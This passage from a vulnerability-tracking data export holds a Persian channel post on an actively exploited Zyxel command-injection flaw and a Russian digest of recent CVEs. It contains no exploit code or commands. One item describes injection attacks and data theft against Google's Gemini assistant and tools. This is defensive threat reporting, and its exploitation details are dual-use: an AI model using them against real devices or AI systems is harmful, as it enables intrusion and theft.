\u0645\u06cc\u200c\u06af\u0630\u0627\u0631\u0646\u062f\u060c \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631 \u0628\u0647 \u0637\u0648\u0631 \u0641\u0639\u0627\u0644 \u062f\u0631 \u062d\u0627\u0644 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0647\u0633\u062a\u0646\u062f.\n\nGreyNoise \u06af\u0632\u0627\u0631\u0634 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0645\u06cc \u062a\u0648\u0627\u0646\u0646\u062f \u0627\u0632 \u0622\u0646 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0628\u0631 \u0631\u0648\u06cc \u062f\u0633\u062a\u06af\u0627\u0647 \u0647\u0627\u06cc \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 \u0628\u0647 \u062e\u0637\u0631 \u0627\u0641\u062a\u0627\u062f\u0646 \u06a9\u0627\u0645\u0644 \u0633\u06cc\u0633\u062a\u0645\u060c \u0646\u0634\u062a \u062f\u0627\u062f\u0647 \u0647\u0627 \u06cc\u0627 \u0646\u0641\u0648\u0630 \u0628\u0647 \u0634\u0628\u06a9\u0647 \u0645\u06cc \u0634\u0648\u062f.\n\nCVE-2024-40891 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062a\u0632\u0631\u06cc\u0642 \u0641\u0631\u0645\u0627\u0646 \u0627\u0633\u062a \u0648 \u0628\u0647 \u0637\u0648\u0631 \u0639\u0645\u0648\u0645\u06cc \u0641\u0627\u0634 \u0646\u0634\u062f\u0647 \u06cc\u0627 \u062b\u0627\u0628\u062a \u0646\u0634\u062f\u0647 \u0627\u0633\u062a.\n\n\u0648\u062c\u0648\u062f \u0627\u06cc\u0646 \u0628\u0627\u06af \u0628\u0631\u0627\u06cc \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u062a\u0648\u0633\u0637 VulnCheck \u062f\u0631 \u062c\u0648\u0644\u0627\u06cc 2024 \u06af\u0632\u0627\u0631\u0634 \u0634\u062f.\n\n\u062a\u0644\u0647 \u0645\u062a\u0631\u06cc \u06af\u0631\u06cc \u0646\u0648\u06cc\u0632 \u0646\u0634\u0627\u0646 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u062a\u0644\u0627\u0634 \u0647\u0627\u06cc \u062d\u0645\u0644\u0647 \u0627\u0632 \u062f\u0647 \u0647\u0627 \u0622\u062f\u0631\u0633 IP \u0633\u0631\u0686\u0634\u0645\u0647 \u06af\u0631\u0641\u062a\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0628\u06cc\u0634\u062a\u0631 \u0622\u0646\u0647\u0627 \u062f\u0631 \u062a\u0627\u06cc\u0648\u0627\u0646 \u0628\u0648\u062f\u0646\u062f.\n\n\u0637\u0628\u0642 \u06af\u0632\u0627\u0631\u0634 Censys\u060c \u0628\u06cc\u0634 \u0627\u0632 1500 \u062f\u0633\u062a\u06af\u0627\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 \u062f\u0631 \u0634\u0628\u06a9\u0647 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f .\n\nCVE-2024-40891 \u0628\u0633\u06cc\u0627\u0631 \u0634\u0628\u06cc\u0647 \u0628\u0647 CVE-2024-40890 \u0627\u0633\u062a\u060c \u062a\u0641\u0627\u0648\u062a \u0627\u0635\u0644\u06cc \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0648\u0644\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 Telnet \u0648 \u062f\u0648\u0645\u06cc \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 HTTP \u0627\u0633\u062a.\n\n \u0647\u0631 \u062f\u0648 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0644\u062e\u0648\u0627\u0647 \u0631\u0627 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0633\u0631\u0648\u06cc\u0633 \u0627\u062c\u0631\u0627 \u06a9\u0646\u0646\u062f.\n\nVulnCheck \u06af\u0641\u062a \u06a9\u0647 \u062f\u0631 \u062d\u0627\u0644 \u0647\u0645\u06a9\u0627\u0631\u06cc \u0628\u0627 \u0634\u0631\u06a9\u062a \u062a\u0627\u06cc\u0648\u0627\u0646\u06cc \u062f\u0631 \u0631\u0648\u0646\u062f \u0627\u0641\u0634\u0627 \u0627\u0633\u062a.\n\nZyxel \u0647\u0646\u0648\u0632 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0648\u0636\u0639\u06cc\u062a \u0627\u0638\u0647\u0627\u0631 \u0646\u0638\u0631 \u0646\u06a9\u0631\u062f\u0647 \u0627\u0633\u062a.\n\n\u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u062a\u0631\u0627\u0641\u06cc\u06a9 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0647\u0627\u06cc HTTP \u063a\u06cc\u0631\u0645\u0639\u0645\u0648\u0644 \u0628\u0647 \u0631\u0627\u0628\u0637 \u0647\u0627\u06cc \u0645\u062f\u06cc\u0631\u06cc\u062a Zyxel CPE \u0641\u06cc\u0644\u062a\u0631 \u06a9\u0646\u0646\u062f \u0648 \u062f\u0633\u062a\u0631\u0633\u06cc \u0628\u0647 \u0631\u0627\u0628\u0637 \u0627\u062f\u0627\u0631\u06cc \u0631\u0627 \u0628\u0647 \u0622\u062f\u0631\u0633 \u0647\u0627\u06cc IP \u0642\u0627\u0628\u0644 \u0627\u0639\u062a\u0645\u0627\u062f \u0645\u062d\u062f\u0648\u062f \u06a9\u0646\u0646\u062f.\n\n\ud83c\udfed \u0648\u0628\u0633\u0627\u06cc\u062a \u0648 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n\ud83d\udc6e\ud83c\udffd\u200d\u2640\ufe0f\u0647\u0631\u06af\u0648\u0646\u0647 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648 \u0630\u06a9\u0631 \u0645\u0637\u0627\u0644\u0628 \u0628\u062f\u0648\u0646 \u0630\u06a9\u0631 \u062f\u0642\u06cc\u0642 \u0645\u0646\u0628\u0639 \u0648 \u0622\u062f\u0631\u0633 \u0644\u06cc\u0646\u06a9 \u0622\u0646 \u0645\u0645\u0646\u0648\u0639 \u0627\u0633\u062a. \n\u0627\u062f\u0645\u06cc\u0646:\n\u200fhttps://t.me/pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u0648\u0627\u062a\u0633 \u0622\u067e :\nhttps://chat.whatsapp.com/FpB620AWEeSKvd8U6cFh33", "creation_timestamp": "2025-02-07T10:00:26.000000Z"}, {"uuid": "b828cb90-7871-4b03-a85b-59cac15008e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40766", "type": "seen", "source": "https://t.me/true_secator/7477", "content": "\u0412\u043a\u0440\u0430\u0442\u0446\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043c \u0442\u0430\u043a\u0436\u0435 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 CyberOK \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 30\u00a0000 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Cisco \u043f\u043e \u0432\u0441\u0435\u0439 \u0420\u043e\u0441\u0441\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 0-day, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2025-20352.\n\n2. GitLab \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438\u00a0\u0434\u0435\u0441\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\u00a0\u0432 \u0441\u0432\u043e\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Atlassian Jira Service Management Cloud, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0433\u043b\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u0440\u043e\u0441\u0443 \u043f\u0430\u0440\u043e\u043b\u044f \u043b\u044e\u0431\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438, \u0437\u0430 \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 1500 \u0448\u0432\u0435\u0439\u0446\u0430\u0440\u0441\u043a\u0438\u0445 \u0444\u0440\u0430\u043d\u043a\u043e\u0432.\n\n4. \u0420\u043e\u0431\u043e\u0442\u044b-\u0433\u0443\u043c\u0430\u043d\u043e\u0438\u0434\u044b Unitree G1, \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 IEEE Spectrum, \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442 \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0432 \u041a\u0438\u0442\u0430\u0439 \u0431\u0435\u0437 \u0432\u0435\u0434\u043e\u043c\u0430 \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0433\u0440\u0443\u043f\u043f\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0440\u043e\u0431\u043e\u0442\u0430, \u0441\u0431\u043e\u0440 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043a\u0430\u0436\u0434\u044b\u0435 \u043f\u044f\u0442\u044c \u043c\u0438\u043d\u0443\u0442. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, G1 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 BLE.\n\n5. Positive Technologies \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0440\u044f\u0434 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0445\u043e\u0434 SQLi \u0438 MFA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 PassOffice - \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u043e\u0439 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u0435\u043b\u044f\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0446\u0435\u043d\u0442\u0440\u0430\u0445.\n\n6. Broadcom \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 VMware NSX, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u043e \u0410\u041d\u0411 \u0421\u0428\u0410.\n\n\u041f\u0435\u0440\u0432\u0430\u044f CVE-2025-41251 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u0431\u0440\u0443\u0442\u0435.\n\n\u0412\u0442\u043e\u0440\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-41252) \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435\u043c \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0435\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043d\u0435\u043f\u0440\u0430\u0432\u043e\u043c\u0435\u0440\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 SMTP (CVE-2025-41250) \u0432 VMware vCenter, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043d\u0435\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f\u043c\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0434\u043b\u044f \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u043c\u0438 \u043f\u0438\u0441\u044c\u043c\u0430\u043c\u0438 \u0441 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f\u043c\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447.\n\n7. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Tenable \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438\u00a0\u0442\u0440\u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0443 \u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u0430 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0418\u0418 Gemini \u043e\u0442 Google.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 \u0435\u0433\u043e \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430, \u0430\u0442\u0430\u043a \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 Gemini Cloud Assist, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043a\u0440\u0430\u0436\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e \u0435\u0433\u043e \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 Gemini Browsing Tool.\n\n8. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f CVE-2025-30247, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 Western Digital My Cloud \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.31.108 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430\u0445 NAS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 POST.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n9. \u0412 Notepad++ v8.8.3 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 DLL (CVE-2025-56383), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 DLL-\u0444\u0430\u0439\u043b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0438 \u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f RCE.\n\n10. \u0412 SonicWall SonicOS \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043d\u0435\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043a \u0441\u0431\u043e\u044e \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430.\n\nCVE-2024-40766 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 SonicWall Firewall Gen 5 \u0438 Gen 6, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Gen 7 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c SonicOS 7.0.1-5035 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c 